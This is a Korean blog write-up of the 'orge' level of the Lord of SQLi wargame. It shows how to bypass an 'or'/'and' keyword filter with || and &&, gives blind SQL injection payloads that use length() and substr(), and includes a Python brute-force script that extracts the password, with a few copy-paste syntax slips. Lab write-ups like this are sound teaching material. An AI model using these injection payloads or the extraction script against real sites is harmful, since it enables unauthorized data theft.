본문 바로가기

Write Up/los

los orge[7번]

문제다.

문제를 보면

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

 

or과 and를 필터링 했다.

우회법은 이전 라업에서 말했듯이

 

or -> ||

and -> &&

 

이렇게 해주면 된다.

 

문제풀이 조건을 보자면

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");

 

 pw의 값을 맞춰야한다.

 

즉, blind sqli를 해줘야한다.

 

?pw=' || length(pw)=~~~%23을 이용해 pw의 길이를 알아낸다.

 

여기서 ~~~는 대충 숫자로 부르트 포싱을 해준다.

 

pw의 길이는 8이다.

 

이제 substr()을 이용해서 pw의 각 자릿수를 파싱해와서 부르트 포싱을 해준다.

 

?pw=' || substr(pw,1,1)=~~~%23을 이용해서 한다.

 

이것은 경우의 수가 많아서 python 코드로 했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import string
 
cookies={'PHPSESSID' : 's1u123ups7a7qqld45lascnbj3'}
idLength = 8
arr = string.printable
arr = arr[:-38]
result = ''
 
for i in range(1, idLength+1):
    for a in arr:
        print("num : " + str(i) + "  a = " + str(a))
        param = "?pw=' || substr(pw," + str(i) + ",1) = '" + str(a) + "'%23"
        #print(param)
        new_url = url + param
        req = requests.get(new_url, cookies=cookies)
        if "Hello admin" in req.text:
            print('='*15)
            print(str(i) + " char is " + str(a))
            print('='*15)
            result += a
            break
        elsepass
print('='*30)
print("result = " + result)

프로그램을 실행시키면 아래와 같은 결과 값이 나온다.

 

?pw=7b751aec를 해주면 된다.

 

'Write Up > los' 카테고리의 다른 글

los vampire[9번]  (0) 2020.01.05
los troll[8번]  (0) 2020.01.05
los darkelf[6번]  (0) 2020.01.04
los wolfman[5번]  (0) 2020.01.04
los orc[4번]  (0) 2020.01.01